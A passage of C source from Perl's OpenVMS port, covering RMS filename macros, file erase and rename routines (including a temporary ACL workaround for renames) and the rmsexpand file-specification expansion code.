#define rms_nam_namel(nam) nam.naml$l_long_name
#define rms_nam_type(nam) nam.naml$l_type
#define rms_nam_typel(nam) nam.naml$l_long_type
#define rms_nam_ver(nam) nam.naml$l_ver
#define rms_nam_verl(nam) nam.naml$l_long_ver
#define rms_nam_rsll(nam) nam.naml$l_long_result_size
#define rms_nam_rsl(nam) nam.naml$b_rsl
#define rms_bind_fab_nam(fab, nam) fab.fab$l_naml = &nam
#define rms_set_fna(fab, nam, name, size) \
{ fab.fab$b_fns = 0; fab.fab$l_fna = (char *) -1; \
nam.naml$l_long_filename_size = size; \
nam.naml$l_long_filename = name;}
#define rms_get_fna(fab, nam) nam.naml$l_long_filename
#define rms_set_dna(fab, nam, name, size) \
{ fab.fab$b_dns = 0; fab.fab$l_dna = (char *) -1; \
nam.naml$l_long_defname_size = size; \
nam.naml$l_long_defname = name; }
#define rms_nam_dns(fab, nam) nam.naml$l_long_defname_size
#define rms_set_esa(nam, name, size) \
{ nam.naml$b_ess = 0; nam.naml$l_esa = (char *) -1; \
nam.naml$l_long_expand_alloc = size; \
nam.naml$l_long_expand = name; }
#define rms_set_esal(nam, s_name, s_size, l_name, l_size) \
{ nam.naml$l_esa = s_name; nam.naml$b_ess = s_size; \
nam.naml$l_long_expand = l_name; \
nam.naml$l_long_expand_alloc = l_size; }
#define rms_set_rsa(nam, name, size) \
{ nam.naml$l_rsa = NULL; nam.naml$b_rss = 0; \
nam.naml$l_long_result = name; \
nam.naml$l_long_result_alloc = size; }
#define rms_set_rsal(nam, s_name, s_size, l_name, l_size) \
{ nam.naml$l_rsa = s_name; nam.naml$b_rss = s_size; \
nam.naml$l_long_result = l_name; \
nam.naml$l_long_result_alloc = l_size; }
#define rms_nam_name_type_l_size(nam) \
(nam.naml$l_long_name_size + nam.naml$l_long_type_size)
#endif
/* rms_erase
* The CRTL for 8.3 and later can create symbolic links in any mode,
* however in 8.3 the unlink/remove/delete routines will only properly handle
* them if one of the PCP modes is active.
*/
static int
rms_erase(const char * vmsname)
{
int status;
struct FAB myfab = cc$rms_fab;
rms_setup_nam(mynam);
rms_set_fna(myfab, mynam, (char *)vmsname, strlen(vmsname)); /* cast ok */
rms_bind_fab_nam(myfab, mynam);
#ifdef NAML$M_OPEN_SPECIAL
rms_set_nam_nop(mynam, NAML$M_OPEN_SPECIAL);
#endif
status = sys$erase(&myfab, 0, 0);
return status;
}
static int
vms_rename_with_acl(pTHX_ const struct dsc$descriptor_s * vms_src_dsc,
const struct dsc$descriptor_s * vms_dst_dsc,
unsigned long flags)
{
/* VMS and UNIX handle file permissions differently and the
* the same ACL trick may be needed for renaming files,
* especially if they are directories.
*/
/* todo: get kill_file and rename to share common code */
/* I can not find online documentation for $change_acl
* it appears to be replaced by $set_security some time ago */
const unsigned int access_mode = 0;
$DESCRIPTOR(obj_file_dsc,"FILE");
char *vmsname;
char *rslt;
unsigned long int jpicode = JPI$_UIC;
int aclsts, fndsts, rnsts = -1;
unsigned int ctx = 0;
struct dsc$descriptor_s fildsc = {0, DSC$K_DTYPE_T, DSC$K_CLASS_S, 0};
struct dsc$descriptor_s * clean_dsc;
struct myacedef {
unsigned char myace$b_length;
unsigned char myace$b_type;
unsigned short int myace$w_flags;
unsigned long int myace$l_access;
unsigned long int myace$l_ident;
} newace = { sizeof(struct myacedef), ACE$C_KEYID, 0,
ACE$M_READ | ACE$M_WRITE | ACE$M_DELETE | ACE$M_CONTROL,
0},
oldace = { sizeof(struct myacedef), ACE$C_KEYID, 0, 0, 0};
struct item_list_3
findlst[3] = {{sizeof oldace, OSS$_ACL_FIND_ENTRY, &oldace, 0},
{sizeof oldace, OSS$_ACL_READ_ENTRY, &oldace, 0},
{0,0,0,0}},
addlst[2] = {{sizeof newace, OSS$_ACL_ADD_ENTRY, &newace, 0},{0,0,0,0}},
dellst[2] = {{sizeof newace, OSS$_ACL_DELETE_ENTRY, &newace, 0},
{0,0,0,0}};
/* Expand the input spec using RMS, since we do not want to put
* ACLs on the target of a symbolic link */
vmsname = (char *)PerlMem_malloc(NAM$C_MAXRSS+1);
if (vmsname == NULL)
return SS$_INSFMEM;
rslt = int_rmsexpand_tovms(vms_src_dsc->dsc$a_pointer,
vmsname,
PERL_RMSEXPAND_M_SYMLINK);
if (rslt == NULL) {
PerlMem_free(vmsname);
return SS$_INSFMEM;
}
/* So we get our own UIC to use as a rights identifier,
* and the insert an ACE at the head of the ACL which allows us
* to delete the file.
*/
_ckvmssts_noperl(lib$getjpi(&jpicode,0,0,&(oldace.myace$l_ident),0,0));
fildsc.dsc$w_length = strlen(vmsname);
fildsc.dsc$a_pointer = vmsname;
ctx = 0;
newace.myace$l_ident = oldace.myace$l_ident;
rnsts = SS$_ABORT;
/* Grab any existing ACEs with this identifier in case we fail */
clean_dsc = &fildsc;
aclsts = fndsts = sys$get_security(&obj_file_dsc,
&fildsc,
NULL,
OSS$M_WLOCK,
findlst,
&ctx,
&access_mode);
if ($VMS_STATUS_SUCCESS(fndsts) || (fndsts == SS$_ACLEMPTY)) {
/* Add the new ACE . . . */
/* if the sys$get_security succeeded, then ctx is valid, and the
* object/file descriptors will be ignored. But otherwise they
* are needed
*/
aclsts = sys$set_security(&obj_file_dsc, &fildsc, NULL,
OSS$M_RELCTX, addlst, &ctx, &access_mode);
if (!$VMS_STATUS_SUCCESS(aclsts) && (aclsts != SS$_NOCLASS)) {
set_errno(EVMSERR);
set_vaxc_errno(aclsts);
PerlMem_free(vmsname);
return aclsts;
}
rnsts = lib$rename_file(vms_src_dsc, vms_dst_dsc,
NULL, NULL,
&flags,
NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if ($VMS_STATUS_SUCCESS(rnsts)) {
clean_dsc = (struct dsc$descriptor_s *)vms_dst_dsc;
}
/* Put things back the way they were. */
ctx = 0;
aclsts = sys$get_security(&obj_file_dsc,
clean_dsc,
NULL,
OSS$M_WLOCK,
findlst,
&ctx,
&access_mode);
if ($VMS_STATUS_SUCCESS(aclsts)) {
int sec_flags;
sec_flags = 0;
if (!$VMS_STATUS_SUCCESS(fndsts))
sec_flags = OSS$M_RELCTX;
/* Get rid of the new ACE */
aclsts = sys$set_security(NULL, NULL, NULL,
sec_flags, dellst, &ctx, &access_mode);
/* If there was an old ACE, put it back */
if ($VMS_STATUS_SUCCESS(aclsts) && $VMS_STATUS_SUCCESS(fndsts)) {
addlst[0].bufadr = &oldace;
aclsts = sys$set_security(NULL, NULL, NULL,
OSS$M_RELCTX, addlst, &ctx, &access_mode);
if (!$VMS_STATUS_SUCCESS(aclsts) && (aclsts != SS$_NOCLASS)) {
set_errno(EVMSERR);
set_vaxc_errno(aclsts);
rnsts = aclsts;
}
} else {
int aclsts2;
/* Try to clear the lock on the ACL list */
aclsts2 = sys$set_security(NULL, NULL, NULL,
OSS$M_RELCTX, NULL, &ctx, &access_mode);
/* Rename errors are most important */
if (!$VMS_STATUS_SUCCESS(rnsts))
aclsts = rnsts;
set_errno(EVMSERR);
set_vaxc_errno(aclsts);
rnsts = aclsts;
}
}
else {
if (aclsts != SS$_ACLEMPTY)
rnsts = aclsts;
}
}
else
rnsts = fndsts;
PerlMem_free(vmsname);
return rnsts;
}
/*{{{int rename(const char *, const char * */
/* Not exactly what X/Open says to do, but doing it absolutely right
* and efficiently would require a lot more work. This should be close
* enough to pass all but the most strict X/Open compliance test.
*/
int
Perl_rename(pTHX_ const char *src, const char * dst)
{
int retval;
int pre_delete = 0;
int src_sts;
int dst_sts;
Stat_t src_st;
Stat_t dst_st;
/* Validate the source file */
src_sts = flex_lstat(src, &src_st);
if (src_sts != 0) {
/* No source file or other problem */
return src_sts;
}
if (src_st.st_devnam[0] == 0) {
/* This may be possible so fail if it is seen. */
errno = EIO;
return -1;
}
dst_sts = flex_lstat(dst, &dst_st);
if (dst_sts == 0) {
if (dst_st.st_dev != src_st.st_dev) {
/* Must be on the same device */
errno = EXDEV;
return -1;
}
/* VMS_INO_T_COMPARE is true if the inodes are different
* to match the output of memcmp
*/
if (!VMS_INO_T_COMPARE(src_st.st_ino, dst_st.st_ino)) {
/* That was easy, the files are the same! */
return 0;
}
if (S_ISDIR(src_st.st_mode) && !S_ISDIR(dst_st.st_mode)) {
/* If source is a directory, so must be dest */
errno = EISDIR;
return -1;
}
}
if ((dst_sts == 0) &&
(vms_unlink_all_versions || S_ISDIR(dst_st.st_mode))) {
/* We have issues here if vms_unlink_all_versions is set
* If the destination exists, and is not a directory, then
* we must delete in advance.
*
* If the src is a directory, then we must always pre-delete
* the destination.
*
* If we successfully delete the dst in advance, and the rename fails
* X/Open requires that errno be EIO.
*
*/
if (!S_ISDIR(dst_st.st_mode) || S_ISDIR(src_st.st_mode)) {
int d_sts;
d_sts = mp_do_kill_file(aTHX_ dst_st.st_devnam,
S_ISDIR(dst_st.st_mode));
/* Need to delete all versions ? */
if ((d_sts == 0) && (vms_unlink_all_versions == 1)) {
int i = 0;
while (lstat(dst_st.st_devnam, &dst_st.crtl_stat) == 0) {
d_sts = mp_do_kill_file(aTHX_ dst_st.st_devnam, 0);
if (d_sts != 0)
break;
i++;
/* Make sure that we do not loop forever */
if (i > 32767) {
errno = EIO;
d_sts = -1;
break;
}
}
}
if (d_sts != 0)
return d_sts;
/* We killed the destination, so only errno now is EIO */
pre_delete = 1;
}
}
/* Originally the idea was to call the CRTL rename() and only
* try the lib$rename_file if it failed.
* It turns out that there are too many variants in what the
* the CRTL rename might do, so only use lib$rename_file
*/
retval = -1;
{
/* Is the source and dest both in VMS format */
/* if the source is a directory, then need to fileify */
/* and dest must be a directory or non-existent. */
char * vms_dst;
int sts;
char * ret_str;
unsigned long flags;
struct dsc$descriptor_s old_file_dsc;
struct dsc$descriptor_s new_file_dsc;
/* We need to modify the src and dst depending
* on if one or more of them are directories.
*/
vms_dst = (char *)PerlMem_malloc(VMS_MAXRSS);
if (vms_dst == NULL)
_ckvmssts_noperl(SS$_INSFMEM);
if (S_ISDIR(src_st.st_mode)) {
char * ret_str;
char * vms_dir_file;
vms_dir_file = (char *)PerlMem_malloc(VMS_MAXRSS);
if (vms_dir_file == NULL)
_ckvmssts_noperl(SS$_INSFMEM);
/* If the dest is a directory, we must remove it */
if (dst_sts == 0) {
int d_sts;
d_sts = mp_do_kill_file(aTHX_ dst_st.st_devnam, 1);
if (d_sts != 0) {
PerlMem_free(vms_dst);
errno = EIO;
return d_sts;
}
pre_delete = 1;
}
/* The dest must be a VMS file specification */
ret_str = int_tovmsspec(dst, vms_dst, 0, NULL);
if (ret_str == NULL) {
PerlMem_free(vms_dst);
errno = EIO;
return -1;
}
/* The source must be a file specification */
ret_str = do_fileify_dirspec(vms_dst, vms_dir_file, 0, NULL);
if (ret_str == NULL) {
PerlMem_free(vms_dst);
PerlMem_free(vms_dir_file);
errno = EIO;
return -1;
}
PerlMem_free(vms_dst);
vms_dst = vms_dir_file;
} else {
/* File to file or file to new dir */
if ((dst_sts == 0) && S_ISDIR(dst_st.st_mode)) {
/* VMS pathify a dir target */
ret_str = int_tovmspath(dst, vms_dst, NULL);
if (ret_str == NULL) {
PerlMem_free(vms_dst);
errno = EIO;
return -1;
}
} else {
char * v_spec, * r_spec, * d_spec, * n_spec;
char * e_spec, * vs_spec;
int sts, v_len, r_len, d_len, n_len, e_len, vs_len;
/* fileify a target VMS file specification */
ret_str = int_tovmsspec(dst, vms_dst, 0, NULL);
if (ret_str == NULL) {
PerlMem_free(vms_dst);
errno = EIO;
return -1;
}
sts = vms_split_path(vms_dst, &v_spec, &v_len, &r_spec, &r_len,
&d_spec, &d_len, &n_spec, &n_len, &e_spec,
&e_len, &vs_spec, &vs_len);
if (sts == 0) {
if (e_len == 0) {
/* Get rid of the version */
if (vs_len != 0) {
*vs_spec = '\0';
}
/* Need to specify a '.' so that the extension */
/* is not inherited */
strcat(vms_dst,".");
}
}
}
}
old_file_dsc.dsc$a_pointer = src_st.st_devnam;
old_file_dsc.dsc$w_length = strlen(src_st.st_devnam);
old_file_dsc.dsc$b_dtype = DSC$K_DTYPE_T;
old_file_dsc.dsc$b_class = DSC$K_CLASS_S;
new_file_dsc.dsc$a_pointer = vms_dst;
new_file_dsc.dsc$w_length = strlen(vms_dst);
new_file_dsc.dsc$b_dtype = DSC$K_DTYPE_T;
new_file_dsc.dsc$b_class = DSC$K_CLASS_S;
flags = 0;
#if defined(NAML$C_MAXRSS)
flags |= 4; /* LIB$M_FIL_LONG_NAMES (bit 2) */
#endif
sts = lib$rename_file(&old_file_dsc,
&new_file_dsc,
NULL, NULL,
&flags,
NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (!$VMS_STATUS_SUCCESS(sts)) {
/* We could have failed because VMS style permissions do not
* permit renames that UNIX will allow. Just like the hack
* in for kill_file.
*/
sts = vms_rename_with_acl(aTHX_ &old_file_dsc, &new_file_dsc, flags);
}
PerlMem_free(vms_dst);
if (!$VMS_STATUS_SUCCESS(sts)) {
errno = EIO;
return -1;
}
retval = 0;
}
if (vms_unlink_all_versions) {
/* Now get rid of any previous versions of the source file that
* might still exist
*/
int i = 0;
dSAVEDERRNO;
SAVE_ERRNO;
src_sts = mp_do_kill_file(aTHX_ src_st.st_devnam,
S_ISDIR(src_st.st_mode));
while (lstat(src_st.st_devnam, &src_st.crtl_stat) == 0) {
src_sts = mp_do_kill_file(aTHX_ src_st.st_devnam,
S_ISDIR(src_st.st_mode));
if (src_sts != 0)
break;
i++;
/* Make sure that we do not loop forever */
if (i > 32767) {
src_sts = -1;
break;
}
}
RESTORE_ERRNO;
}
/* We deleted the destination, so must force the error to be EIO */
if ((retval != 0) && (pre_delete != 0))
errno = EIO;
return retval;
}
/*}}}*/
/*{{{char *do_rmsexpand(char *fspec, char *out, int ts, char *def, unsigned opts)*/
/* Shortcut for common case of simple calls to $PARSE and $SEARCH
* to expand file specification. Allows for a single default file
* specification and a simple mask of options. If outbuf is non-NULL,
* it must point to a buffer at least NAM$C_MAXRSS bytes long, into which
* the resultant file specification is placed. If outbuf is NULL, the
* resultant file specification is placed into a static buffer.
* The third argument, if non-NULL, is taken to be a default file
* specification string. The fourth argument is unused at present.
* rmesexpand() returns the address of the resultant string if
* successful, and NULL on error.
*
* New functionality for previously unused opts value:
* PERL_RMSEXPAND_M_VMS - Force output file specification to VMS format.
* PERL_RMSEXPAND_M_LONG - Want output in long formst
* PERL_RMSEXPAND_M_VMS_IN - Input is already in VMS, so do not vmsify
* PERL_RMSEXPAND_M_SYMLINK - Use symbolic link, not target
*/
static char *mp_do_tounixspec(pTHX_ const char *, char *, int, int *);
static char *
int_rmsexpand
(const char *filespec,
char *outbuf,
const char *defspec,
unsigned opts,
int * fs_utf8,
int * dfs_utf8)
{
char * ret_spec;
const char * in_spec;
char * spec_buf;
const char * def_spec;
char * vmsfspec, *vmsdefspec;
char * esa;
char * esal = NULL;
char * outbufl;
struct FAB myfab = cc$rms_fab;
rms_setup_nam(mynam);
STRLEN speclen;
unsigned long int retsts, trimver, trimtype, haslower = 0, isunix = 0;
int sts;
/* temp hack until UTF8 is actually implemented */
if (fs_utf8 != NULL)
*fs_utf8 = 0;
if (!filespec || !*filespec) {
set_vaxc_errno(LIB$_INVARG); set_errno(EINVAL);
return NULL;
}
vmsfspec = NULL;
vmsdefspec = NULL;
outbufl = NULL;
in_spec = filespec;
isunix = 0;
if ((opts & PERL_RMSEXPAND_M_VMS_IN) == 0) {
char * v_spec, * r_spec, * d_spec, * n_spec, * e_spec, * vs_spec;
int sts, v_len, r_len, d_len, n_len, e_len, vs_len;
/* If this is a UNIX file spec, convert it to VMS */
sts = vms_split_path(filespec, &v_spec, &v_len, &r_spec, &r_len,
&d_spec, &d_len, &n_spec, &n_len, &e_spec,
&e_len, &vs_spec, &vs_len);
if (sts != 0) {
isunix = 1;
char * ret_spec;
vmsfspec = (char *)PerlMem_malloc(VMS_MAXRSS);
if (vmsfspec == NULL) _ckvmssts_noperl(SS$_INSFMEM);
ret_spec = int_tovmsspec(filespec, vmsfspec, 0, fs_utf8);
if (ret_spec == NULL) {
PerlMem_free(vmsfspec);
return NULL;
}
in_spec = (const char *)vmsfspec;
/* Unless we are forcing to VMS format, a UNIX input means
* UNIX output, and that requires long names to be used
*/
if ((opts & PERL_RMSEXPAND_M_VMS) == 0)
#if defined(NAML$C_MAXRSS)
opts |= PERL_RMSEXPAND_M_LONG;
#else
NOOP;
#endif
else
isunix = 0;
}
}
rms_set_fna(myfab, mynam, (char *)in_spec, strlen(in_spec)); /* cast ok */
rms_bind_fab_nam(myfab, mynam);
/* Process the default file specification if present */
def_spec = defspec;
if (defspec && *defspec) {
int t_isunix;
t_isunix = is_unix_filespec(defspec);
if (t_isunix) {
vmsdefspec = (char *)PerlMem_malloc(VMS_MAXRSS);
if (vmsdefspec == NULL) _ckvmssts_noperl(SS$_INSFMEM);
ret_spec = int_tovmsspec(defspec, vmsdefspec, 0, dfs_utf8);
if (ret_spec == NULL) {
/* Clean up and bail */
PerlMem_free(vmsdefspec);
if (vmsfspec != NULL)
PerlMem_free(vmsfspec);
return NULL;
}
def_spec = (const char *)vmsdefspec;
}
rms_set_dna(myfab, mynam,
(char *)def_spec, strlen(def_spec)); /* cast ok */
}
/* Now we need the expansion buffers */
esa = (char *)PerlMem_malloc(NAM$C_MAXRSS + 1);
if (esa == NULL) _ckvmssts_noperl(SS$_INSFMEM);
#if defined(NAML$C_MAXRSS)
esal = (char *)PerlMem_malloc(VMS_MAXRSS);
if (esal == NULL) _ckvmssts_noperl(SS$_INSFMEM);
#endif
rms_set_esal(mynam, esa, NAM$C_MAXRSS, esal, VMS_MAXRSS-1);
/* If a NAML block is used RMS always writes to the long and short
* addresses unless you suppress the short name.
*/
#if defined(NAML$C_MAXRSS)
outbufl = (char *)PerlMem_malloc(VMS_MAXRSS);
if (outbufl == NULL) _ckvmssts_noperl(SS$_INSFMEM);
#endif
rms_set_rsal(mynam, outbuf, NAM$C_MAXRSS, outbufl, (VMS_MAXRSS - 1));
#ifdef NAM$M_NO_SHORT_UPCASE
if (DECC_EFS_CASE_PRESERVE)
rms_set_nam_nop(mynam, NAM$M_NO_SHORT_UPCASE);
#endif
/* We may not want to follow symbolic links */
#ifdef NAML$M_OPEN_SPECIAL
if ((opts & PERL_RMSEXPAND_M_SYMLINK) != 0)
rms_set_nam_nop(mynam, NAML$M_OPEN_SPECIAL);
#endif
/* First attempt to parse as an existing file */
retsts = sys$parse(&myfab,0,0);
if (!(retsts & STS$K_SUCCESS)) {
/* Could not find the file, try as syntax only if error is not fatal */
rms_set_nam_nop(mynam, NAM$M_SYNCHK);
if (retsts == RMS$_DNF ||
retsts == RMS$_DIR ||
retsts == RMS$_DEV ||
retsts == RMS$_PRV) {
retsts = sys$parse(&myfab,0,0);
if (retsts & STS$K_SUCCESS) goto int_expanded;
}
/* Still could not parse the file specification */
/*----------------------------------------------*/
sts = rms_free_search_context(&myfab); /* Free search context */
if (vmsdefspec != NULL)
PerlMem_free(vmsdefspec);
if (vmsfspec != NULL)
PerlMem_free(vmsfspec);
if (outbufl != NULL)
PerlMem_free(outbufl);
PerlMem_free(esa);
if (esal != NULL)
PerlMem_free(esal);
set_vaxc_errno(retsts);
if (retsts == RMS$_PRV) set_errno(EACCES);
else if (retsts == RMS$_DEV) set_errno(ENODEV);
else if (retsts == RMS$_DIR) set_errno(ENOTDIR);
else set_errno(EVMSERR);
return NULL;
}
retsts = sys$search(&myfab,0,0);
if (!(retsts & STS$K_SUCCESS) && retsts != RMS$_FNF) {
sts = rms_free_search_context(&myfab); /* Free search context */
if (vmsdefspec != NULL)
PerlMem_free(vmsdefspec);
if (vmsfspec != NULL)
PerlMem_free(vmsfspec);
if (outbufl != NULL)
PerlMem_free(outbufl);
PerlMem_free(esa);
if (esal != NULL)
PerlMem_free(esal);
set_vaxc_errno(retsts);
if (retsts == RMS$_PRV) set_errno(EACCES);
else set_errno(EVMSERR);
return NULL;
}
/* If the input filespec contained any lowercase characters,
* downcase the result for compatibility with Unix-minded code. */
int_expanded:
if (!DECC_EFS_CASE_PRESERVE) {
char * tbuf;
for (tbuf = rms_get_fna(myfab, mynam); *tbuf; tbuf++)
if (islower(*tbuf)) { haslower = 1; break; }
}
/* Is a long or a short name expected */
/*------------------------------------*/
spec_buf = NULL;
#if defined(NAML$C_MAXRSS)
if ((opts & PERL_RMSEXPAND_M_LONG) != 0) {
if (rms_nam_rsll(mynam)) {
spec_buf = outbufl;
speclen = rms_nam_rsll(mynam);
}
else {
spec_buf = esal; /* Not esa */
speclen = rms_nam_esll(mynam);
}
}
else {
#endif
if (rms_nam_rsl(mynam)) {
spec_buf = outbuf;
speclen = rms_nam_rsl(mynam);
}
else {
spec_buf = esa; /* Not esal */
speclen = rms_nam_esl(mynam);
}
#if defined(NAML$C_MAXRSS)
}
#endif
spec_buf[speclen] = '\0';
/* Trim off null fields added by $PARSE
* If type > 1 char, must have been specified in original or default spec
* (not true for version; $SEARCH may have added version of existing file).
*/
trimver = !rms_is_nam_fnb(mynam, NAM$M_EXP_VER);
if ((opts & PERL_RMSEXPAND_M_LONG) != 0) {
trimtype = !rms_is_nam_fnb(mynam, NAM$M_EXP_TYPE) &&
((rms_nam_verl(mynam) - rms_nam_typel(mynam)) == 1);
}
else {
trimtype = !rms_is_nam_fnb(mynam, NAM$M_EXP_TYPE) &&
((rms_nam_ver(mynam) - rms_nam_type(mynam)) == 1);
}
if (trimver || trimtype) {
if (defspec && *defspec) {
char *defesal = NULL;
char *defesa = NULL;
defesa = (char *)PerlMem_malloc(VMS_MAXRSS + 1);
if (defesa != NULL) {
struct FAB deffab = cc$rms_fab;
#if defined(NAML$C_MAXRSS)
defesal = (char *)PerlMem_malloc(VMS_MAXRSS + 1);
if (defesal == NULL) _ckvmssts_noperl(SS$_INSFMEM);
#endif
rms_setup_nam(defnam);
rms_bind_fab_nam(deffab, defnam);
/* Cast ok */
rms_set_fna
(deffab, defnam, (char *)defspec, rms_nam_dns(myfab, mynam));
/* RMS needs the esa/esal as a work area if wildcards are involved */
rms_set_esal(defnam, defesa, NAM$C_MAXRSS, defesal, VMS_MAXRSS - 1);
rms_clear_nam_nop(defnam);
rms_set_nam_nop(defnam, NAM$M_SYNCHK);
#ifdef NAM$M_NO_SHORT_UPCASE
if (DECC_EFS_CASE_PRESERVE)
rms_set_nam_nop(defnam, NAM$M_NO_SHORT_UPCASE);
#endif
#ifdef NAML$M_OPEN_SPECIAL
if ((opts & PERL_RMSEXPAND_M_SYMLINK) != 0)
rms_set_nam_nop(mynam, NAML$M_OPEN_SPECIAL);
#endif
if (sys$parse(&deffab,0,0) & STS$K_SUCCESS) {
if (trimver) {
trimver = !rms_is_nam_fnb(defnam, NAM$M_EXP_VER);
}
if (trimtype) {
trimtype = !rms_is_nam_fnb(defnam, NAM$M_EXP_TYPE);
}
}
if (defesal != NULL)
PerlMem_free(defesal);
PerlMem_free(defesa);
} else {
_ckvmssts_noperl(SS$_INSFMEM);
}
}
if (trimver) {
if ((opts & PERL_RMSEXPAND_M_LONG) != 0) {
if (*(rms_nam_verl(mynam)) != '\"')
speclen = rms_nam_verl(mynam) - spec_buf;
}
else {
if (*(rms_nam_ver(mynam)) != '\"')
speclen = rms_nam_ver(mynam) - spec_buf;
}
}
if (trimtype) {
/* If we didn't already trim version, copy down */
if ((opts & PERL_RMSEXPAND_M_LONG) != 0) {
if (speclen > rms_nam_verl(mynam) - spec_buf)
memmove
(rms_nam_typel(mynam),
rms_nam_verl(mynam),
speclen - (rms_nam_verl(mynam) - spec_buf));
speclen -= rms_nam_verl(mynam) - rms_nam_typel(mynam);
}
else {
if (speclen > rms_nam_ver(mynam) - spec_buf)
memmove
(rms_nam_type(mynam),
rms_nam_ver(mynam),
speclen - (rms_nam_ver(mynam) - spec_buf));
speclen -= rms_nam_ver(mynam) - rms_nam_type(mynam);
}
}
}
/* Done with these copies of the input files */
/*-------------------------------------------*/
if (vmsfspec != NULL)
PerlMem_free(vmsfspec);
if (vmsdefspec != NULL)
PerlMem_free(vmsdefspec);
/* If we just had a directory spec on input, $PARSE "helpfully"
* adds an empty name and type for us */
#if defined(NAML$C_MAXRSS)
if ((opts & PERL_RMSEXPAND_M_LONG) != 0) {
if (rms_nam_namel(mynam) == rms_nam_typel(mynam) &&
rms_nam_verl(mynam) == rms_nam_typel(mynam) + 1 &&
!(rms_is_nam_fnb(mynam, NAM$M_EXP_NAME)))
speclen = rms_nam_namel(mynam) - spec_buf;
}
else
#endif
{
if (rms_nam_name(mynam) == rms_nam_type(mynam) &&
rms_nam_ver(mynam) == rms_nam_ver(mynam) + 1 &&
!(rms_is_nam_fnb(mynam, NAM$M_EXP_NAME)))
speclen = rms_nam_name(mynam) - spec_buf;
}
/* Posix format specifications must have matching quotes */
if (speclen < (VMS_MAXRSS - 1)) {
if (DECC_POSIX_COMPLIANT_PATHNAMES && (spec_buf[0] == '\"')) {
if ((speclen > 1) && (spec_buf[speclen-1] != '\"')) {
spec_buf[speclen] = '\"';
speclen++;
}
}
}
spec_buf[speclen] = '\0';
if (haslower && !DECC_EFS_CASE_PRESERVE) __mystrtolower(spec_buf);
/* Have we been working with an expanded, but not resultant, spec? */
/* Also, convert back to Unix syntax if necessary. */
{
int rsl;
#if defined(NAML$C_MAXRSS)
if ((opts & PERL_RMSEXPAND_M_LONG) != 0) {
rsl = rms_nam_rsll(mynam);
} else
#endif
{
rsl = rms_nam_rsl(mynam);
}
if (!rsl) {
/* rsl is not present, it means that spec_buf is either */
/* esa or esal, and needs to be copied to outbuf */
/* convert to Unix if desired */
if (isunix) {
ret_spec = int_tounixspec(spec_buf, outbuf, fs_utf8);
} else {
/* VMS file specs are not in UTF-8 */
if (fs_utf8 != NULL)
*fs_utf8 = 0;
my_strlcpy(outbuf, spec_buf, VMS_MAXRSS);
ret_spec = outbuf;
}
}
else {
/* Now spec_buf is either outbuf or outbufl */
/* We need the result into outbuf */
if (isunix) {
/* If we need this in UNIX, then we need another buffer */
/* to keep things in order */
char * src;
char * new_src = NULL;
if (spec_buf == outbuf) {
new_src = (char *)PerlMem_malloc(VMS_MAXRSS);
my_strlcpy(new_src, spec_buf, VMS_MAXRSS);
} else {
src = spec_buf;
}
ret_spec = int_tounixspec(src, outbuf, fs_utf8);
if (new_src) {
PerlMem_free(new_src);
}
} else {
/* VMS file specs are not in UTF-8 */
if (fs_utf8 != NULL)
*fs_utf8 = 0;
/* Copy the buffer if needed */
if (outbuf != spec_buf)
my_strlcpy(outbuf, spec_buf, VMS_MAXRSS);
ret_spec = outbuf;
}
}
}
/* Need to clean up the search context */
rms_set_rsal(mynam, NULL, 0, NULL, 0);
sts = rms_free_search_context(&myfab); /* Free search context */
/* Clean up the extra buffers */
if (esal != NULL)
PerlMem_free(esal);
PerlMem_free(esa);
if (outbufl != NULL)
PerlMem_free(outbufl);
/* Return the result */
return ret_spec;
}
/* Common simple case - Expand an already VMS spec */
static char *
int_rmsexpand_vms(const char * filespec, char * outbuf, unsigned opts) {
opts |= PERL_RMSEXPAND_M_VMS_IN;
return int_rmsexpand(filespec, outbuf, NULL, opts, NULL, NULL);
}
/* Common simple case - Expand to a VMS spec */
static char *
int_rmsexpand_tovms(const char * filespec, char * outbuf, unsigned opts) {
opts |= PERL_RMSEXPAND_M_VMS;
return int_rmsexpand(filespec, outbuf, NULL, opts, NULL, NULL);
}
/* Entry point used by perl routines */
static char *
mp_do_rmsexpand
(pTHX_ const char *filespec,
char *outbuf,
int ts,
const char *defspec,
unsigned opts,
int * fs_utf8,
int * dfs_utf8)
{
static char __rmsexpand_retbuf[VMS_MAXRSS];
char * expanded, *ret_spec, *ret_buf;
expanded = NULL;
ret_buf = outbuf;
if (ret_buf == NULL) {
if (ts) {
Newx(expanded, VMS_MAXRSS, char);
if (expanded == NULL)
_ckvmssts(SS$_INSFMEM);
ret_buf = expanded;
} else {
ret_buf = __rmsexpand_retbuf;
}
}
ret_spec = int_rmsexpand(filespec, ret_buf, defspec,
opts, fs_utf8, dfs_utf8);
if (ret_spec == NULL) {
/* Cleanup on isle 5, if this is thread specific we need to deallocate */
if (expanded)
Safefree(expanded);
}
return ret_spec;
}
/*}}}*/
/* External entry points */
char *
Perl_rmsexpand(pTHX_ const char *spec, char *buf, const char *def, unsigned opt)
{
return do_rmsexpand(spec, buf, 0, def, opt, NULL, NULL);
}
char *
Perl_rmsexpand_ts(pTHX_ const char *spec, char *buf, const char *def, unsigned opt)
{
return do_rmsexpand(spec, buf, 1, def, opt, NULL, NULL);
}
char *
Perl_rmsexpand_utf8(pTHX_ const char *spec, char *buf, const char *def,
unsigned opt, int * fs_utf8, int * dfs_utf8)
{
return do_rmsexpand(spec, buf, 0, def, opt, fs_utf8, dfs_utf8);
}
char *
Perl_rmsexpand_utf8_ts(pTHX_ const char *spec, char *buf, const char *def,
unsigned opt, int * fs_utf8, int * dfs_utf8)
{
return do_rmsexpand(spec, buf, 1, def, opt, fs_utf8, dfs_utf8);
}
/*
** The following routines are provided to make life easier when
** converting among VMS-style and Unix-style directory specifications.
** All will take input specifications in either VMS or Unix syntax. On
** failure, all return NULL. If successful, the routines listed below
** return a pointer to a buffer containing the appropriately
** reformatted spec (and, therefore, subsequent calls to that routine
** will clobber the result), while the routines of the same names with
** a _ts suffix appended will return a pointer to a mallocd string
** containing the appropriately reformatted spec.
** In all cases, only explicit syntax is altered; no check is made that
** the resulting string is valid or that the directory in question
** actually exists.
**
** fileify_dirspec() - convert a directory spec into the name of the
** directory file (i.e. what you can stat() to see if it's a dir).
** The style (VMS or Unix) of the result is the same as the style
** of the parameter passed in.
** pathify_dirspec() - convert a directory spec into a path (i.e.
** what you prepend to a filename to indicate what directory it's in).
** The style (VMS or Unix) of the result is the same as the style
** of the parameter passed in.
